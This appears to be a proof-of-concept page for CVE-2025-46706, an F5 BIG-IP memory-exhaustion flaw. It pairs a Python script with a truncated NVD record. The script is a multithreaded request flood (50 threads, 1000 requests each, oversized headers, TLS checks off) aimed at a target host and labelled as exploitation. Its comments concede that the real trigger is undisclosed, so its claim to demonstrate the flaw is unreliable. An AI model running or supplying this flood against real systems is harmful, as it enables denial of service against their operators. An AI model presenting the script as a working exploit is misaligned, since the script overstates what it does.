CVE-2025-46706

# CVE-2025-46706 PoC - F5 BIG-IP HTTP::respond Memory Exhaustion # This PoC demonstrates the memory resource exhaustion vulnerability # triggered by sending specially crafted requests to a virtual server # configured with an iRule containing the HTTP::respond command. import requests import threading import time TARGET_HOST = "https://target-bigip.example.com" TARGET_PATH = "/" THREAD_COUNT = 50 REQUESTS_PER_THREAD = 1000 # Sample malicious iRule that may be configured on the target # when HTTP::respond is used: # # when HTTP_REQUEST { # if { [HTTP::uri] starts_with "/trigger" } { # HTTP::respond 200 content "response" # } # } def send_malicious_request(session, thread_id): """Send crafted requests that trigger memory growth in TMOS.""" headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-46706)", "Accept": "*/*", "Connection": "keep-alive", "X-Forwarded-For": f"192.168.1.{thread_id}", # Crafted headers to trigger the memory leak path "X-Custom-Header": "A" * 4096, "Cache-Control": "no-cache, no-store, must-revalidate", } for i in range(REQUESTS_PER_THREAD): try: # The exact payload characteristics are undisclosed by F5. # Attackers would need to fuzz to find the trigger condition. response = session.get( f"{TARGET_HOST}{TARGET_PATH}", headers=headers, timeout=5, verify=False ) except Exception: pass def main(): """Launch concurrent threads to exhaust BIG-IP memory resources.""" print(f"[*] Starting CVE-2025-46706 exploitation against {TARGET_HOST}") threads = [] for t in range(THREAD_COUNT): session = requests.Session() thread = threading.Thread( target=send_malicious_request, args=(session, t) ) threads.append(thread) thread.start() for thread in threads: thread.join() print("[*] Exploitation complete. Monitor target memory utilization.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-46706", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:47.460", "lastModified": "2025-10-21T18:54:09.080", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When an iRule containing the HTTP::respond command is configured on a virtual server, undisclosed requests can cause an increase in memory resource utilization. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", 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